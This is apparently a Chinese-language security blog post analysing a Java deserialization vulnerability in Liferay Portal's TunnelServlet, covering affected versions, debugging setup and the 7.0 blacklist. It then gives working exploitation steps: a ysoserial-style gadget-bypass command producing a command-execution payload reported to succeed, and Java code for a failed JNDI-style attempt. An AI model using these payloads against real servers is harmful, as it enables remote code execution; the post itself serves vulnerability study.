Liferay portal java反序列化漏洞分析
前言:
最近liferay portal被爆了一個json的反序列化漏洞,本着學習的態度準備研究一番,於是搭建了低版本環境,順手搜了下readObject函數,意外發現TunnelServlet存在java反序列化漏洞,想着馬上就可以出任ceo、迎娶白富美、走上人生巔峯了,後來發現該漏洞在16年被通報官方了,只是沒有給cve編號,所以一開始沒搜到相關信息,只能感嘆相逢恨晚了。由於該漏洞觸發點比較簡單,只是加了反序列化黑名單,所以下面主要討論漏洞利用的相關技術。
一、漏洞版本
AffectsVersion/s: 6.0 EE(6.0.10), 6.0 EE SP1 (6.0.11), 6.0 EE SP2 (6.0.12), 6.1 EE GA1 (6.1.10), 6.1 EEGA2 (6.1.20), 6.1 EE GA3 (6.1.30), 6.2 EE GA1 (6.2.10), 7.0 DE (7.0.10)
FixVersion/s: 6.0.X EE , 6.1.X EE , 6.2.X EE , 7.0.X EE
二、調試環境搭建
首先在Idea插件中安裝liferay插件
新建Liferay項目
獲取liferay portal, https://releases-cdn.liferay.com/portal/ ,將url改成我們需要調試的版本的路徑(可能會很慢),如果你已經本地下載過了,搭個本地web服務,地址可以設置成127.0.0.1
然後在項目中右鍵,liferay-IniBundle,
這一步會下載LiferayPortal,保存在項目的bundles文件夾裏面
然後添加LiferayServer就可以運行和調試項目了
如果我們要攔截某個jar對數據的處理,我們需要先把jar添加到項目中,
比如我們知道webapp\root\web-inf\lib\portal-impl.jar中的com.liferay.portal.jsonwebservice.JSONWebServiceServlet類會處理所有 http://localhost:8080/api/jsonws/xxx的請求 。
右鍵lib,add as library
定位代碼,添加斷點,成功斷下程序。
三、漏洞分析
由於漏洞的觸發比較簡單,所以這裏我們簡單看下liferay不同版本,漏洞代碼的變化。
漏洞出現在系統portal-impl.jar的TunnelServlet模塊,我們看下配置文件,
<servlet> <servlet-name>Tunnel Servlet</servlet-name> <servlet-class>com.liferay.portal.servlet.TunnelServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>Tunnel Servlet</servlet-name> <url-pattern>/api/liferay/*</url-pattern> </servlet-mapping>
該模塊可以直接從web訪問。
Liferay 6.x TunnelServlet代碼:
Liferay 7.0 TunnelServlet代碼:
Liferay 7.1 TunnelServlet代碼:
程序處理流程也很簡單,獲取http的post數據流,然後調用readObject進行反序列化。Liferay 6.x沒做任何處理,直接進行反序列化,Liferay 7.0添加了反序列化黑名單,Liferay7.1需要登陸認證。
下面主要討論Liferay 7.0中的漏洞利用。
四、漏洞利用
Liferay 6.x中利用不多贅述,直接使用 ysoserial 生成payload打之即可。
下面我們主要討論下Liferay 7.0的漏洞利用,即黑名單繞過。這種防禦java反序列化的攻擊手段還是很常見的。我們先看下,系統黑名單有那些,即那些類不允許發序列化。
com.liferay.portal.kernel.io.ProtectedObjectInputStream.restricted.class.names=\ com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,\ org.apache.commons.collections.functors.CloneTransformer,\ org.apache.commons.collections.functors.ForClosure,\ org.apache.commons.collections.functors.InvokerTransformer,\ org.apache.commons.collections.functors.InstantiateFactory,\ org.apache.commons.collections.functors.InstantiateTransformer,\ org.apache.commons.collections.functors.PrototypeFactory$PrototypeCloneFactory,\ org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory,\ org.apache.commons.collections.functors.WhileClosure,\ org.apache.commons.collections4.functors.InvokerTransformer,\ org.codehaus.groovy.runtime.ConvertedClosure,\ org.codehaus.groovy.runtime.MethodClosure,\ org.springframework.beans.factory.ObjectFactory,\ org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider,\ sun.reflect.annotation.AnnotationInvocationHandler
對於如果繞過黑名單進行反序列化,這裏主要有以下四點思考,當然,僅是思考,未必能成功。
1、利用不在黑名單中的公開利用鏈。
這裏我們可以利用 ysoserial 的Commons BeanUtils模塊,但是CommonsBeanUtils背後使用的是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl機制,所以直接使用也會報錯,不過之前有人研究過了繞過手段,
https://github.com/pwntester/SerialKillerBypassGadgetCollection
編譯該項目,執行命令
java -cp serialkiller-bypass-gadgets.jarserialkiller.Main CommonsBeanutils1 Beanutils1 "calc" >calc.ser
將payload發送到目標地址,成功彈出計算器,黑名單繞過。
基於此種方案,參考長亭的“tomcat的一種通用回顯方法研究”,成功實現無外連回顯任意命令執行,如果後面有時間,會單獨寫篇如何編寫liferay反序列化任意命令執行回顯的文章。
2、使用嵌套readObject,進行反序列化
嵌套readObject反序列化繞過,就是尋找那種在實現了readObject的類,並且readObject函數中再次調用readObject,我們可以在二次調用readObject中進行反序列化利用,不過這個要視具體場景而定,經測試該漏洞中不可行。
3、 反序列化+jndi注入實現繞過
這種方式可能不具有通用性,只是我在研究該漏洞的一個思考,或者說是學習也行。參考文章 https://www.tenable.com/security/research/tra-2017-01 ,文章說,他們發現SerializableRenderedImage類中存在繞過方式,並且成功編寫了poc。
於是我簡單的看了下該類
public final class SerializableRenderedImage implements RenderedImage, Serializable private void readObject(final ObjectInputStream in) throws IOException, ClassNotFoundException { this.isServer = false; this.source = null; this.serverOpen = false; this.serverSocket = null; this.serverThread = null; this.colorModel = null; in.defaultReadObject(); if (this.isSourceRemote) { final String serverName = (String)in.readObject(); final Long id = (Long)in.readObject(); this.source = new RemoteImage(serverName + "::" + (long)id, (RenderedImage)null); } final SerializableState smState = (SerializableState)in.readObject(); this.sampleModel = (SampleModel)smState.getObject(); final SerializableState cmState = (SerializableState)in.readObject(); this.colorModel = (ColorModel)cmState.getObject(); this.properties = (Hashtable)in.readObject(); if (this.useDeepCopy) { if (this.useTileCodec) { this.imageRaster = this.decodeRasterFromByteArray((byte[])in.readObject()); } else { final SerializableState rasState = (SerializableState)in.readObject(); this.imageRaster = (Raster)rasState.getObject(); } } } public RemoteImage(String serverName, final RenderedImage source) { super(null, null, null); this.id = null; this.fieldValid = new boolean[11]; this.propertyNames = null; this.timeout = 1000; this.numRetries = 5; this.imageBounds = null; if (serverName == null) { serverName = this.getLocalHostAddress(); } final int index = serverName.indexOf("::"); final boolean remoteChainingHack = index != -1; if (!remoteChainingHack && source == null) { throw new IllegalArgumentException(JaiI18N.getString("RemoteImage1")); } if (remoteChainingHack) { this.id = Long.valueOf(serverName.substring(index + 2)); serverName = serverName.substring(0, index); } this.getRMIImage(serverName); if (!remoteChainingHack) { this.getRMIID(); } this.setRMIProperties(serverName); if (source != null) { try { if (source instanceof Serializable) { this.remoteImage.setSource(this.id, source); } else { this.remoteImage.setSource(this.id, new SerializableRenderedImage(source)); } } catch (RemoteException e) { throw new RuntimeException(e.getMessage()); } } } private void getRMIImage(String serverName) { if (serverName == null) { serverName = this.getLocalHostAddress(); } final String serviceName = new String("rmi://" + serverName + "/" + "RemoteImageServer"); this.remoteImage = null; try { this.remoteImage = (RMIImage)Naming.lookup(serviceName); } catch (Exception e) { throw new RuntimeException(e.getMessage()); } }
看到了lookup()函數,我一開始以爲可以進行jndi注入呢。所以利用鏈如下
SerializableRenderedImage->RemoteImage()->getRMIImag()->Naming.lookup(serviceName);
編寫漏洞利用代碼,
public class SerializableRenderedImage implements Serializable { private static final long serialVersionUID = -8499818538715956218L; private boolean isSourceRemote; public SerializableRenderedImage(){ this.isSourceRemote = true; } private void writeObject(ObjectOutputStream out) throws Exception{ out.defaultWriteObject(); if (this.isSourceRemote) { out.writeObject(new String("127.0.0.1:1099")); out.writeObject(new Long(1234)); } } public static class LifeRayInvokePayload { public static void main(String[] args) throws Exception{ SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(); String fileName = "SerializableRenderedImage.ser"; FileOutputStream fileOutputStream = new FileOutputStream(fileName); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(serializableRenderedImage); outputStream.close(); } } }
將SerializableRenderedImage.ser發送到目標地址,程序流程成功走到Naming.lookup(serviceName)處,但是並沒有成功出發漏洞。後經本地測試Naming.lookup()是不存在jndi注入漏洞的。
Contextctx = new InitialContext(env); Object local_obj = ctx.lookup(serviceName);
這種才存在jndi注入。
雖然此種方案沒有利用成功,但是通過調試分析,感覺自己還是進步不少。
可見 https://www.tenable.com/security/research/tra-2017-01 作者應該是利用了其他方案,目前還沒有繼續研究。
4、 重新尋找新的利用鏈
重新尋找新的利用鏈需要有足夠紮實的技術,也比較耗時,難度較高,我這裏也只是紙上談兵,逞口舌之快。
五、總結
該漏洞觸發點比較簡單,利用需要動點腦筋,所以算是學習java反序列化漏洞的很好案例。如果提高自己的java反序列漏洞利用技術,還是需要學習ysoserial的代碼,自己動手調試。
參考:
https://www.tenable.com/security/research/tra-2017-01
https://zhuanlan.zhihu.com/p/114625962?from_voters_page=true
*本文作者:MrCoding,轉載請註明來自FreeBuf.COM